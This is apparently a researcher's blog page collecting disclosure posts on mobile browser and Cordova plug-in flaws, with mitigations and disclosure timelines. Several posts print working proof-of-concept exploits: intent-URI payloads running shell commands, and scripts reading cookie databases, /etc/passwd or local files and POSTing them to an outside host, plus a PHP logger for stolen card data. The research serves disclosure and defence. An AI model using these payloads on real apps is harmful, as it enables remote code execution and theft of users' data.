Maxthon Browser Arbitrary File Write, Login Page UXSS, and SQL Injection

By | November 10, 2016

Maxthon Browser is another popular Android browser that is used instead of the stock browser. I have identified a number of interesting, and severe, vulnerabilities in the Android version of the browser that could result in remote code execution and information leakage.

  • Exposed JavaScript Interface allows for arbitrary file writes – A malicious webpage can force the browser to download a zip file, which the browser will put onto the SD card and unzip, by calling the installWebApp method with the desired URL. Due to a lack of input validation on the zip entry filenames, an attacker could craft a malicious zip file that uses path traversal to overwrite arbitrary files within the browser’s sandbox. This vulnerability can be exploited to achieve remote code execution as I’ll demonstrate later.
  • Exposed JavaScript Interface allows for login page UXSS – A malicious webpage can alter the login page form autofill data associated with other domains by calling the catchform method. The autofill information is injected into login pages using some dynamically built JS code and the browser does not properly output encode the data therefore we can abuse this to launch login page UXSS attacks.
  • Exposed JavaScript Interface allows for SQL Injection into a client-side SQLite database – The code designed to store the form autofill data is also vulnerable to SQL injection. Its possible to corrupt the client-side database or remotely extract out all the information from the autofill table, which includes saved credentials. While I was able to find a number of examples of client-side SQL injection vulnerabilities triggered by IPC in Android applications (like this one from Dominic Chell) and one example of a client-side SQL injection vulnerability triggered remotely by a WAP push from the Baidu X-Team, I couldn’t find published examples about remotely exfiltrating data from a SQLite database associated with an Android application. So this might be the first published example of remote client-side SQL injection against an Android application in which it is feasible to remotely exfiltrate data out of the SQLite database using the login page UXSS exploit as out-of-band communication technique. Ping me if you have other interesting examples.

Update: I also confirmed that the privacy research conducted by Exatel security researchers against the desktop version of Maxthon also pertains to the Android version of the browser. Mainly that the Android application will send the URLs that you type into the address bar to a third party server (g.dcs.maxthon.com) over HTTP in an encrypted form (encrypted using AES/ECB and a hardcoded encryption key).

Continue reading

React Native Development Server Remote OS Command Injection and Remote File Disclosure

By | May 12, 2016

React Native is another cross-platform mobile development framework created by Facebook that developers can use to develop mobile applications on the Android and iOS platforms using JavaScript. From an architectural standpoint the framework is closer to Titanium or Kony than Cordova given that the mobile application uses JavaScriptCore as a standalone JS engine to execute the JS application code and the UI would be composed of native UI components as opposed to a HTML-based UI rendering in a WebView used in Cordova-based applications.

Anyways, I identified a number of vulnerabilities in the development server a couple months ago. During the development process, a Node.js based web server will be running in the background on the developer’s machine. The purpose of the development server is to serve resources such as application JavaScript code and other content, such as images, to the mobile device used during testing. Anytime the developer alters any of the JS code or assets the mobile application pulls down the new files from the development server. This allows for altering the application code without rebuilding the mobile application, which for a real world application might take minutes or hours.

Continue reading

Android Anti-Hooking Techniques in Java

By | December 23, 2015

A recent internal thread about detecting hooking frameworks in native code (C/C++) got me thinking about the different ways that a Java Android application can detect the presence of either Cydia Substrate or the Xposed framework.

Disclaimer: All of these anti-hooking techniques are easy to bypass by any experienced reverse engineer. I’m just exploring how one might go about detecting that their Java application has been hooked using Substrate or the Xposed framework because at some point we will need to be able to bypass these techniques to do our jobs just like how we bypass root detection on a daily basis. The last time I looked at DexGuard and Arxan’s Java protection product (GuardIT) they did not support detection of either hooking framework. I would expect similar anti-hooking techniques will be added to these Java obfuscation/protection products in the future.

Continue reading

Puffin Browser RCE and Remote File Disclosure

By | December 8, 2015

As part of my research into the Intent.parseUri function, I identified that the Android version of the Puffin Browser was vulnerable to remote code execution, on 4.4.3 devices and below, and remote file disclosure, on any device, due to a number of factors including improper intent URI scheme parsing.

The parseUri function is often used by Android browsers, or Android applications with WebView components, in order to support the intent URI scheme. This functionality allows a webpage to send an intent to another activity on the mobile device (deep linking). The Chrome documentation provides the following example. When the user clicks on the link then an intent will be sent from the Chrome browser to an activity within the Zxing application.

<a href="//scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>

Depending on how the browser implements this functionality it may increase the attack surface of the device in two different ways.

1) A remote attacker can send an intent to any activity within the target application that uses the parseUri function with untrusted data. It doesn’t matter whether or not the activity is exported or not. Therefore, this technique can be abused to exploit activities that would not normally be accessible and we will focus on this type of attack in this post.
2) A remote attacker can send an intent to any exported activity in other applications installed on the device, including privileged system applications. This technique can be abused to exploit IPC vulnerabilities remotely.

Browsers attempt to prevent exploitation of this functionality by limiting which activities can be invoked. The Chrome documentation states that “only activities that have the category filter, android.intent.category.BROWSABLE are able to be invoked using this method as it indicates that the application is safe to open from the Browser.”

Older versions of the Chrome browser contained the following code, which attempted to limit invocation of only activities with the proper category filter. Also note that the component attribute is set to null to prevent the use of an explicit intent.

Intent intent = Intent.parseUri(uri); 
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);

Takeshi Terada first documented how to exploit this type of vulnerability in this white paper and noted that Chrome’s mitigation were not sufficient because they failed to filter the selector intent. If the main intent object has a selector intent, then the Android framework resolves the destination of the intent by the selector intent. Takeshi demonstrated that UXSS was possible against Chrome and bulk cookie theft was possible against Opera using these techniques in his published white paper.

Later versions of Chrome adopted stricter intent filtering (selector filtering) to prevent the attack as shown below, but other Android browsers remained vulnerable.

Intent intent = Intent.parseUri(uri);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
context.startActivityIfNeeded(intent, -1);

In order to support the intent URI scheme, the Puffin Browser executes the Intent.parseUri function with untrusted data as shown in the following code from the com.cloudmosa.puffinFree.LemonActivity. Note the code attempts to limit invocation of only activities with the proper category filter, but does not prevent the use of the selector intent. Applications typically implement this type of functionality within their implementation of the WebViewClient class.

    private boolean a(String arg5, boolean arg6) {
        Intent v2;
        boolean v0 = false;
        if(ii.a == ij.d && !arg5.startsWith("file://")) {
            try {
                v2 = Intent.parseUri(arg5, 1);
            }
            catch(Exception v1) {
                return v0;
            }

            v2.addCategory("android.intent.category.BROWSABLE");
            v2.setComponent(null);
            v2.putExtra("currentTab", arg6);
            int v3 = -1;
            try {
                if(!this.startActivityIfNeeded(v2, v3)) {
                    return v0;
                }

                this.Z.post(new ru(this));
                v0 = true;
            }
            catch(Exception v1) {
            }
        }

        return v0;
    }

Given the lack of selector intent filtering, we now know that a malicious page loaded into the Puffin browser can send an intent to any exported activity on the device, or any activity within the Puffin browser regardless of whether or not its exported. For the latter, based on reviewing the AndroidManifest.xml file, the following activities within the browser are potential targets.

.LemonActivity
com.cloudmosa.lemon_java.NativePlayerActivity
com.google.android.gms.ads.AdActivity
com.cloudmosa.puffinFree.FeedbackActivity
com.cloudmosa.puffinFree.ShareActivity
com.cloudmosa.puffinFree.UpgradeActivity
com.cloudmosa.puffinFree.PuffinAccountSignInActivity
com.cloudmosa.puffinFree.PuffinAccountVerificationActivity
com.cloudmosa.puffinFree.PuffinAccountSignedInActivity
com.admarvel.android.ads.AdMarvelActivity
com.admarvel.android.ads.AdMarvelVideoActivity
com.millennialmedia.android.MMActivity

Takeshi’s paper targeted the com.admarvel.android.ads.AdMarvelActivity activity within the Opera browser in order to conduct bulk cookie theft and this same advertisement library exists in the Puffin browser, so lets target that but go for RCE instead, since this library sets up some JavaScript interfaces as shown in the following code. This functionality could have been abused against Opera in the past (depending on the targetSdkVersion and device version), but they appear to have removed this library to address the issues that Takeshi identified.

    public void handleMessage(Message arg12) {
        String v1_3;
        o v1_1;
        AdMarvelView v5 = null;
        View v8 = this.a.findViewById(AdMarvelActivity.a);
        AdMarvelActivity v1 = this.a;
        boolean v2 = AdMarvelActivity.a(this.a) ? false : true;
        d v0 = new d(((Context)v1), v2, AdMarvelActivity.d(this.a), this.a.e, v5, ((RelativeLayout)v5), AdMarvelActivity.e(this.a));
        v0.setTag(this.a.e + "WEBVIEW");
        v0.k();
        v0.j();
        v0.addJavascriptInterface(new AdMarvelWebViewJSInterface(v0, AdMarvelActivity.e(this.a), this.a), "ADMARVEL");
        v0.addJavascriptInterface(new AdMarvelActivity$c(v0, this.a), "AndroidBridge");

So I crafted the following payload that uses the intent URI scheme to cause an intent to be sent to the com.admarvel.android.ads.AdMarvelActivity activity. If we can trick a user of the Puffin browser to load a webpage like the following then we can execute arbitrary OS commands on devices running 4.4 or older versions. Note that this activity expects an intent with an extra named url and I set the selector’s component to com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity.

<html>
<body>
<iframe src="intent:#Intent;S.url=javascript:var%20is%3DADMARVEL.getClass().forName('java.lang.Runtime').getMethod('getRuntime'%2Cnull).invoke(null%2Cnull).exec(%5B'%2Fsystem%2Fbin%2Fsh'%2C'-c'%2C'id'%5D).getInputStream()%3Bvar%20c%3D''%3Bvar%20b%20%3D%20is.read()%3Bvar%20i%20%3D%201%3Bwhile(b%20!%3D%20-1)%7Bvar%20bString%3DString.fromCharCode(b)%3Bc%2B%3DbString%3Bb%3Dis.read()%3B%7Dalert(c);SEL;component=com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity;end"></iframe>
</body>
</html>

The intent forces the AdMarvelActivity activity to load the following JavaScript URL into a WebView associated with the advertisement library, which happens to have a JavaScript bridge named ADMARVEL enabled. We exploit the JavaScript bridge to execute a UNIX command (id) by invoking the java.lang.Runtime.exec function via reflection.

javascript:var is=ADMARVEL.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','id']).getInputStream();var c='';var b = is.read();var i = 1;while(b != -1){var bString=String.fromCharCode(b);c+=bString;b=is.read();}alert(c);

id executed remotely on a 4.4 device…

The previous exploit works partly because the targetSdkVersion of the Puffin browser is set to 14, which means that the security mitigations put into place in Android 4.2 (API level 17) to prevent generic JavaScript interface exploitation will not work even on a 4.4.3 device. On 4.4.4 devices and 5.x devices, access via reflection to the java.lang.Object.getClass method is blocked from any JavaScript bridge, so we have to figure out a different way of exploiting the improper intent scheme parsing.

The advertisement library also allows for universal file access from file URLs in their WebViews. Therefore we can exploit this to remotely steal files from the Puffin browser data directory including the browser’s cookie database.

Enable all features…

        arg3.getSettings().setJavaScriptEnabled(true);
        arg3.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
        arg3.getSettings().setAllowFileAccess(true);
        arg3.getSettings().setUseWideViewPort(true);
        arg3.getSettings().setLoadWithOverviewMode(true);
        arg3.getSettings().setAppCacheEnabled(true);
        arg3.getSettings().setDomStorageEnabled(true);
        arg3.getSettings().setAllowFileAccessFromFileURLs(true);
        arg3.getSettings().setAllowUniversalAccessFromFileURLs(true);
        arg3.getSettings().setAllowContentAccess(true);
        arg3.getSettings().setAllowFileAccess(true);
        arg3.getSettings().setMediaPlaybackRequiresUserGesture(false);

First we load the following webpage into the Puffin Browser on an Android device.

<html>
<body>
<script>
window.setTimeout('document.location = "intent:#Intent;S.url=file:///sdcard/Download/puffinTestScript.html;SEL;component=com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity;end";', 5000);
</script>
<iframe src="puffinDownload.php"></iframe>
</body>
</html>

The Puffin Browser loads the iframe (puffinDownload.php), which forces the browser to download a file to the SD card. Note that this requires that Puffin browser be configured to save its downloads to the device, which is the default option and no user interaction is required, as opposed to downloading files to Google Drive. The following shows the PHP script’s source code, which forces the browser to automatically download the puffinTestScript.html file to the SD card in the Downloads directory.

<?php
$filename = 'puffinTestScript.html';
header("Content-Disposition: attachment; filename=\"" . basename($filename) . "\"");
header("Content-Type: application/force-download");
header("Content-Length: " . filesize($filename));
header("Connection: close");
readfile($filename);
?>

The following shows the contents of the puffinTestScript.html file.

<html>
<body>
<script>
var request = new XMLHttpRequest();
request.open("GET","file:///data/data/com.cloudmosa.puffinFree/cookies",false);
request.send();
alert(request.responseText);
var dataToSteal=request.responseText;
request.open("POST","http://d3adend.org/c.php",false);
request.send(dataToSteal);
</script>
</body>
</html>

The following JavaScript code from the first step executes after 5 seconds.

window.setTimeout('document.location = "intent:#Intent;S.url=file:///sdcard/Download/puffinTestScript.html;SEL;component=com.cloudmosa.puffinFree/com.admarvel.android.ads.AdMarvelActivity;end";', 5000);

An intent is sent to the com.admarvel.android.ads.AdMarvelActivity activity that forces the downloaded HTML file (on the SD card) to be loaded into the advertisement library’s WebView. Given that allowUniversalAccessFromFileURLs attribute was set to true in this WebView, the loaded HTML/JavaScript code from the puffinTestScript.html file has the ability to access any file that the Puffin Browser has access to and can send this file to a remote server. We use this technique to steal the cookies database (/data/data/com.cloudmosa.puffinFree/cookies) to achieve bulk cookie theft.

Cookies database acquired remotely on a 5.1 device…

Mitigations

If supporting the intent URI scheme is required then the following steps can be taken. All three steps must be taken otherwise a remote attacker is able to force the victim’s browser to send an intent to any activity within the target application or send an intent to any exported activity in other packages installed on the device.

1) Add the android.intent.category.BROWSABLE category to the intent.
2) Set the component to null.
3) Set the selector to null.

The following code provides an example to show how to filter in a stricter fashion as shown before.

Intent intent = Intent.parseUri(uri);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
context.startActivityIfNeeded(intent, -1);

While performing this type of intent filtering is certainly an improvement, changes to the Android operating system, such as changes to the Intent’s parseUri function, could cause Android browsers to be vulnerable to similar attacks in the future (again). For example, the selector intent functionality was added in API level 15 and introduced security vulnerabilities in browsers, and likely other applications, that were already performing component and category filtering. Therefore, if you are not willing to maintain this type of blacklist, then the safest option is not to use the parseUri function with untrusted data.

Disclosure

  • 9/23/15 – Vulnerability disclosed in version 4.3.0.1852.
  • 10/4/2015 – Puffin Browser updated to address issue (version 4.6.0.2036 performs selector intent filtering now). Although the problematic advertisement library is still present.

Coffee mugs for all…

Abusing UIWebView baseURL settings in the Cordova ChildBrowser Plug-in

By | April 3, 2015

The ChildBrowser plug-in is a popular third-party plug-in that allows displaying untrusted external websites within a Cordova-based application. It is very similar to the core InAppBrowser plug-in, which is the plug-in that Apache currently recommends using, since they both create a separate WebView instance that does not expose native mobile APIs to the untrusted HTML/JavaScript. Last year I disclosed a vulnerability that allowed the untrusted JavaScript in the InAppBrowser WebView to inject in JavaScript into the trusted Cordova WebView, which allowed for abusing of native mobile APIs remotely. While it doesn’t appear that the ChildBrowser plug-in is vulnerable to a similar JavaScript injection attack, under certain conditions the iOS version of the plug-in can be abused to load untrusted HTML/JavaScript code that executes under the file domain, which allows access to local files and sending those local files to remote servers since the same-origin policy works differently in this context.

Assume that a Cordova-based iOS application allows users to submit URLs that are redisplayed to other users and the application utilizes the ChildBrowser plug-in to load the untrusted website.  Also assume that the application takes necessary steps to prevent JavaScript injection into the Cordova WebView by escaping single/double quotes.  This scenario may occur if users are allowed to create a profile with a link to their own website or send links to other users via some type of private messaging functionality.

Lets assume that the malicious user sets their website URL to the following.

http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png

The application validates that the URI scheme is HTTP or HTTPS and then escapes all the double quotes to prevent JavaScript injection into the trusted Cordova WebView and builds the following JavaScript which is used to invoke the ChildBrowser plug-in.

window.plugins.ChildBrowser.showWebPage("http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open(\"GET\",\"file:///etc/passwd\",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open(\"POST\",\"http://d3adend.org/c.php\",false);request.send(dataToSteal);'/?.png",{ showLocationBar: true });

The victim is later tricked into clicking on the link that is part of the attacker’s profile. Now the ChildBrowser’s loadURL method is invoked on the victim’s device. The following is the relevant Objective-C code from the plug-in.

- (void)loadURL:(NSString*)url
{
	NSLog(@"Opening Url : %@",url);
	 
	if( [url hasSuffix:@".png" ]  || 
	    [url hasSuffix:@".jpg" ]  || 
		[url hasSuffix:@".jpeg" ] || 
		[url hasSuffix:@".bmp" ]  || 
		[url hasSuffix:@".gif" ]  )
	{
		self.imageURL = nil;
		self.imageURL = url;
		self.isImage = YES;
		NSString* htmlText = @"<html><body style='background-color:#333;margin:0px;padding:0px;'><img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;' alt='' src='IMGSRC'/></body></html>";
		htmlText = [ htmlText stringByReplacingOccurrencesOfString:@"IMGSRC" withString:url ];

		[webView loadHTMLString:htmlText baseURL:[NSURL URLWithString:@""]];
		
	}
	else
	{
		imageURL = @"";
		isImage = NO;
		NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:url]];
		[self.webView loadRequest:request];
	}
	self.webView.hidden = NO;
}

Since the submitted URL ends with “.png”, the ChildBrowser plug-in dynamically builds some HTML code without performing output encoding and then loads the HTML into the WebView using the loadHTMLString:baseURL: method.  The baseURL argument is set to [NSURL URLWithString:@""], which is equivalent to setting the baseURL argument to nil.  Apple’s documentation for NSURL‘s URLWithString method states that “if the URL string was malformed or nil, [the method] returns nil” and an empty string is considered a malformed URL.  Unfortunately, the default setting is insecure if the baseURL argument is set to nil.  The HTML code will be loaded using the file URI scheme, which means that the HTML/JavaScript code will have access to local files and can send those local files to remote servers.

In this example, the following HTML code is loaded into the ChildBrowser’s WebView.  Note that I break out of the src attribute value and inject in a JavaScript event handler (onerror), which will execute malicious JavaScript code that reads a local file using AJAX (/etc/passwd) and then sends the contents of the file to a remote server.  This is possible since the same origin policy restrictions do not apply in this context when content is loaded using the file or applewebdata URI schemes.  This technique could be used to remotely steal any local file that the target Cordova application has access to which may include SQLite databases or property list files that contain sensitive data such as OAuth access tokens, session identifiers, or passwords.

<html>
<body style='background-color:#333;margin:0px;padding:0px;'>
<img style='min-height:200px;margin:0px;padding:0px;width:100%;height:auto;' 
alt='' 
src='http://www.evil.com/'onerror='var request = new XMLHttpRequest();request.open("GET","file:///etc/passwd",false);request.send();alert(request.responseText);var dataToSteal=request.responseText;request.open("POST","http://d3adend.org/c.php",false);request.send(dataToSteal);'/?.png'/>
</body>
</html>

The proof of concept JavaScript code has access to local files as shown in the following screenshot.

And, the JavaScript code can send the contents of the local file to a remote server as shown in the next screenshot.

In this situation, the ChildBrowser plug-in should have performed output encoding to prevent HTML injection and also should have set the baseURL argument properly. In general, iOS applications that load untrusted content into a UIWebView using the loadHTMLString:baseURL: or loadData:MIMEType:textEncodingName:baseURL: methods should not set the baseURL argument to nil or a URL that uses the file scheme or the applewebdata scheme. The application should set the baseURL argument to about:blank to prevent the untrusted content from accessing local files.

[webView loadHTMLString:htmlText baseURL:[NSURL URLWithString:@"about:blank"]];

This is not a new issue for iOS applications using the UIWebView class, see Pilorz’s and Zmysłowski’s excellent HITB presentation for more examples of attacks against WebView based browsers on iOS including a number of interesting UXSS issues. Android browsers, along with desktop browsers, have also faced similar problems. Prior to Jelly Bean (4.1 / API level 16), content loaded into a WebView using the file URI scheme could access other local files leading to the same problem. Newer versions of Android use securer default file settings, but developers can still shoot themselves in the foot if they allow file access from file URLs (setAllowFileAccessFromFileURLs) or allow universal access from file URLs (setAllowUniversalAccessFromFileURLs) within a WebView that is used to load untrusted content.

While this plug-in is unofficially deprecated according to Adobe developers, it is still used in many popular PhoneGap/Cordova applications, so I’ve created a simple patch to address the issue.

Javelin Browser RCE and Password Manager Information Disclosure

By | April 2, 2015

There exists a number of third-party browsers in use on Android devices besides the stock browser and Chrome. PhoneArena provided a feature comparison and performance comparison of the “best” Android browsers in 2014, but I wasn’t familiar with a number of the browsers on the list so decided to take a look at the security of a few of them. The first one that I looked at named Javelin, previously known as Jerky due to its privacy features (not joking), and I identified that it was vulnerable to remote code execution due to improper use of the WebView addJavascriptInterface function on Android devices running a version less than 4.2. On Android devices running 4.2 and above, it shouldn’t be possible to use reflection to instantiate arbitrary classes, and invoke arbitrary functions, but we can still abuse the injected Java objects to acquire the passwords stored in the browser’s password manager remotely.

Continue reading

Cordova LaunchMyApp Plug-in Remote JavaScript Injection

By | December 17, 2014

The Cordova mobile application development framework does not support launching a mobile application via a custom URI scheme, such as someurischeme://pathhere/?param=somedata, out of the box on all of its supported platforms, which is somewhat surprising for a cross-platform mobile framework. Notably missing is support for custom URI schemes in the Android version of the framework, although custom URI schemes are supported by the iOS version of the framework. This has driven developers using the Cordova framework to either develop their own custom Cordova plug-ins to add support for this IPC mechanism or use an open-source 3rd party Cordova plug-in. One of the most popular 3rd party plug-ins with over 30k downloads named LaunchMyApp, or Custom URL Scheme, solves this problem well. I identified that multiple versions of this plug-in suffer from a JavaScript injection vulnerability that is trivial to exploit remotely. The main author of the plug-in quickly remediated the issue in version 3.2.1 by escaping the untrusted input.

If we inspect the LaunchMyApp’s onNewIntent function, then it use to look like the following. Essentially, data from the Intent is used directly to build JavaScript code that is sent to the CordovaWebView, which has access to native functionality via a JavaScript bridge, using the loadUrl function. No input validation or escaping occurs, therefore applications using this plug-in are vulnerable to JavaScript injection attacks.

  public void onNewIntent(Intent intent) {
    final String intentString = intent.getDataString();
    if (intent.getDataString() != null) {
      intent.setData(null);
      webView.loadUrl("javascript:handleOpenURL('" + intentString + "');");    }
  }

Triggering the vulnerability is pretty straightforward; assume that the Cordova based application defines the “someurischeme” URI scheme. The scheme name used can be determined by reviewing the AndroidManifest.xml file, which would include an intent-filter element under the main activity element that looks like the following XML code.

            <intent-filter>
                <data android:scheme="someurischeme" />
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.BROWSABLE" />
            </intent-filter>

Given that the vulnerability is associated with the onNewIntent function, either the target activity must have the launchMode attribute set to singleTop, which can also be checked by reviewing the AndroidManifest.xml file, or the client application used the FLAG_ACTIVITY_SINGLE_TOP flag when starting the activity. Convenient for us, the launchMode attribute was set to singleTop by default in Cordova 3.5 to address issue CB-6048 so that “tapping app icon does not always restart app”, and in earlier versions developers often altered the launchMode attribute to singleTop by directly altering the manifest file. This also means that the target application must already be running in the background to trigger the vulnerability, which isn’t a major concern since most users don’t forcefully close mobile applications after use.

Assume that the prerequisites are met and the victim is tricked into clicking the following link in the Android mobile browser after visiting a malicious website. Note that in practice a hidden iframe would work better.

<a href="someurischeme://abc'*setTimeout('alert(5)',2000)*'abc">click me</a>

An intent is sent from the mobile browser to the target Cordova application and then the following URL is loaded by the WebView component via the loadUrl function. Note the injected setTimeout function.

javascript:handleOpenURL('someurischeme://abc'*setTimeout('alert(5)',2000)*'abc');

A more realistic exploit would involve injecting in JavaScript code that actually uses Cordova APIs in order to (ab)use native device functionality, such as the following example that uses the FileTransfer plugin, assuming it exists in the target Cordova application, to exfiltrate potentially sensitive files off of the mobile device. The example exploit simply uploads the /mnt/sdcard/secret.txt file to http://d3adend.org/c.php, but this technique could be used to steal other files such as SQLite database files, or shared preference files, that may contain stored credentials or authentication tokens.

<a href="someurischeme://abc'*setTimeout(&quot;var fileURL='cdvfile://localhost/persistent/secret.txt';var options = new FileUploadOptions();options.fileKey = 'file';options.fileName = fileURL.substr(fileURL.lastIndexOf('/') + 1);options.mimeType = 'text/plain';var ft = new FileTransfer();ft.upload(fileURL,encodeURI('http://d3adend.org/c.php'),function(r){alert('success:'+r);},function(e){alert('error:'+e);},options); &quot;,2000)*'abc">click me</a>

If we configure the mobile device to use a web proxy, then we can see the vulnerable application make the HTTP POST request to the attacker’s server with the contents of the secret.txt file. While this exploit assumes that the target application uses the FileTransfer plug-in, which is fairly common, if the target application is utilizing a version of Cordova prior to 3.4, then the default JavaScript bridge mode is implemented using the addJavascriptInterface function as opposed to URL hooking, thus making the vulnerability more severe and exploitation easier.

POST /c.php HTTP/1.1
Content-Type: multipart/form-data; boundary=+++++
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; HTC One X Build/IMM76D)
Host: d3adend.org
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 132

--+++++
Content-Disposition: form-data; name="file"; filename="secret.txt"
Content-Type: text/plain

ThisIsASecret

--+++++--

This specific vulnerability only exists in version 3.1.1 and 3.2.0 of the plug-in. One of the first steps of evaluating the security of a Cordova based mobile application should involve cataloging the plug-ins used. Luckily, this is simple to do since you can open up the cordova_plugins.js file stored within assets/www directory in the APK and review the module.exports.metadata variable. In this case, this application uses version 3.2.0 of the nl.x-services.plugins.launchmyapp plug-in, which is vulnerable.

module.exports.metadata = 
// TOP OF METADATA
{
    "nl.x-services.plugins.launchmyapp": "3.2.0",
    "org.apache.cordova.file": "1.3.0",
    "org.apache.cordova.file-transfer": "0.4.7"
}

Exploitation of Open URL AJAX Requests and DOM-based XSS using CORS

By | December 9, 2014

I noticed a couple somewhat interesting vulnerabilities earlier this year that require the use of cross-origin resource sharing to exploit. Consider the following JavaScript code and assume that the getQueryString function returns the value of the “someUrl” parameter in the query string by parsing the document.location object. In the vulnerable page, the web application asks the user for sensitive data such as their name, credit card, and address, and the client-side JavaScript code submits this information via an AJAX request using the jQuery JavaScript library. The first vulnerability involves the fact that the no input validation existed on the “someUrl” parameter so the attacker could control where the data was submitted. This is similar to open URL redirection vulnerabilities, but given that there exists no redirection, I’ll call this an open URL AJAX request.

someUrl = getQueryParam('someUrl');
...
jQuery.ajax({url: someUrl, 
				data: jsonString,
				success: handleData,
				contentType : "application/json",
				type: "POST",
				processData:false
			});
...

Basically, the attacker would send the victim a link such as https://www.somesite.com/registerForStuff.jsp?someUrl=http://www.evil.com/c.php, the victim types in their credit card information, and then the victim’s browser silently submits the information via an AJAX POST request to evil.com. Normally, the browser due to the same-origin policy would have blocked this type of AJAX request, but thanks to CORS, evil.com can return the proper Access-Control-Allow-Origin, Access-Control-Allow-Headers, and Access-Control-Allow-Methods HTTP response headers so that a cross-domain AJAX request is allowed by the browser thus allowing the attacker controlled server to capture and log the sensitive data. Behind the scenes the browser must first send a preflight request using the OPTIONS method to the relevant server (evil.com) to determine whether or not violating the SOP should be allowed.

The server-side PHP code on evil.com could look something like the following. We need to set the Access-Control-Allow-Origin response header to either the wildcard character (*) to indicate that any domain can make a cross-origin request to this specific page on evil.com or we could be more specific and state that only the target site should be allowed (https://www.somesite.com). We also specify which request headers are acceptable by setting the Access-Control-Allow-Headers response header. It is fairly common for web applications to use custom HTTP request headers in AJAX requests so make sure to specify the required headers or use the wildcard character again. And then finally, define the acceptable HTTP methods via the Access-Control-Allow-Methods response header. The rest of the PHP code just logs the body of POST request, which in this case includes a JSON payload containing the victim’s personal information.

<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: accept, origin, content-type");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");

$body = @file_get_contents('php://input');
$f = fopen("/tmp/jsonresponse.txt","a");
$c = $_SERVER['REMOTE_ADDR'].":".$body."\n";
fwrite($f,$c);
fclose($f);
?>

The first vulnerability was serious mainly because the information submitted to an attacker controlled URL was the user’s name, credit card information, and address. But even if the information requested by the original page was not sensitive, the page also contained a DOM-based XSS vulnerability. The success attribute in a jQuery.ajax function call specifies the function to be called if the request succeeds, which looked something like the following. Using the eval function to parse JSON is always a bad idea, but in this case the vulnerability is trivial to exploit since the attacker can force the JavaScript code to make an AJAX request to an attacker controlled server that returns the attacker’s content that is evaluated as JavaScript code via the eval function.

function handleData (data) {
	if(typeof data != "object" ) {
		data = eval('(' + data + ')');
	}

There is one small caveat here; the success handler function first verifies that the returned data from the server is an object data type as opposed to a string or number data type, which may have been added as an attempt to prevent JavaScript injection. So returning “alert(1)” from evil.com isn’t going to work since it is a string, but returning “[alert(1)]” or returning “{junk:alert(1)}” will work even though it is not technically valid JSON. Our final proof of concept code looks like the following. The next step would be to create additional JavaScript code that alters the HTML document in order to request additional sensitive data from the victim, such as their password, or just add your BeEF hook here.

<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: accept, origin, content-type");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");

$body = @file_get_contents('php://input');
$f = fopen("/tmp/jsonresponse.txt","a");
$c = $_SERVER['REMOTE_ADDR'].":".$body."\n";
fwrite($f,$c);
fclose($f);
?>
[alert(1)]

The developers could fix the first vulnerability by adding input validation in the JavaScript code to verify that the provided URL is associated with a trusted domain similar to how an open URL redirection vulnerability can be prevented or better yet remove this functionality by hardcoding the submit URL. One could argue that fixing the first vulnerability should address the second vulnerability, but JavaScript injection may still be possible if the target server fails to properly escape or encode the JSON response payloads. Therefore using the JSON.parse function, instead of the eval function, is a safer option.

Understanding Fragment Injection

By | June 18, 2014

A colleague asked me about an Android vulnerability called fragment injection because of an article he read [1] and I think its worth diving into the details of the vulnerability. Fragment injection is a classic example of using reflection in an unsafe way (CWE-470) [2]. As in untrusted data from an Intent is used to determine which class is instantiated within the target Android application.

In order to understand fragment injection, we have to review Google’s PreferenceActivity class. The PreferenceActivity class pulls out the EXTRA_SHOW_FRAGMENT extra (:android:show_fragment) and the EXTRA_SHOW_FRAGMENT_ARGUMENTS extra (:android:show_fragment_args) from a received Intent [3].

String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);

Then later calls the Fragment.instantiate function based on the untrusted input.

Fragment f = Fragment.instantiate(this, fragmentName, args);

The Fragment.instantiate function just loads and returns the desired Fragment class [4].

public static Fragment instantiate(Context context, String fname, Bundle args) {
       try {
              Class clazz = sClassMap.get(fname);
              if (clazz == null) {
                     // Class not found in the cache, see if it's real, and try to add it
                     clazz = context.getClassLoader().loadClass(fname);
                     sClassMap.put(fname, clazz);
              }
              Fragment f = (Fragment)clazz.newInstance();
              if (args != null) {
                     args.setClassLoader(f.getClass().getClassLoader());
                     f.mArguments = args;
              }
              return f;

In general, here is how I would recommend identifying fragment injection issues.

  1. Check if any of the exported Activities extend the PreferenceActivity class.
  2. Build a list of potential fragment targets.
    1. For API level 19 and above, review the Activity’s isValidFragment function to determine the list of acceptable fragments to inject.
    2. For all the other API levels, all fragments within the target application are fair game to attack. Note that since the patch is only for 4.4 devices and above, a more conservative approach would involve assuming that all fragments are fair game to attack due to device fragmentation.
  3. Review each fragment that could be injected for Intent based vulnerabilities.

